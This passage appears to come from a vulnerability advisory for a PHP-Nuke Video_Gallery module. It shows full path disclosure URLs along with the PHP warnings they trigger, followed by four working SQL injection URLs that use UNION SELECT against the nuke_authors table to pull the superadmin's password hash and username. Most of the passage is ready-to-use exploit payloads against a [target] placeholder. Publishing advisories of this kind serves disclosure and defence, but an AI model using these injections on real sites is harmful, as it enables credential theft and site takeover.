2.- Full path disclosure:
   ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨

   This vulnerability would allow a remote user to determine the full
   path to the web root directory and other potentially sensitive 
information.

   A) 
http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=darkbicho

      Warning: mysql_fetch_row(): supplied argument is not a valid MySQL 
result resource in             	                     
/home/hosting/php-nuke/includes/sql_layer.php on line 286

   B) 
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=darkbicho&catid=1

      Warning: mysql_fetch_row(): supplied argument is not a valid MySQL 
result resource in 		       	                     
/home/hosting/php-nuke/includes/sql_layer.php on line 286



3.- Sql injection:
   ¨¨¨¨¨¨¨¨¨¨¨¨¨¨
   This sql injection exploit can pull out from database any information, 
for example
   superadmin's username and password's md5 hash:


   A) 
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1

   B)
http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors

   c)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20name%20FROM%20nuke_authors&catid=1

   D)
http://[target]/modules.php?name=Video_Gallery&l_op=voteclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
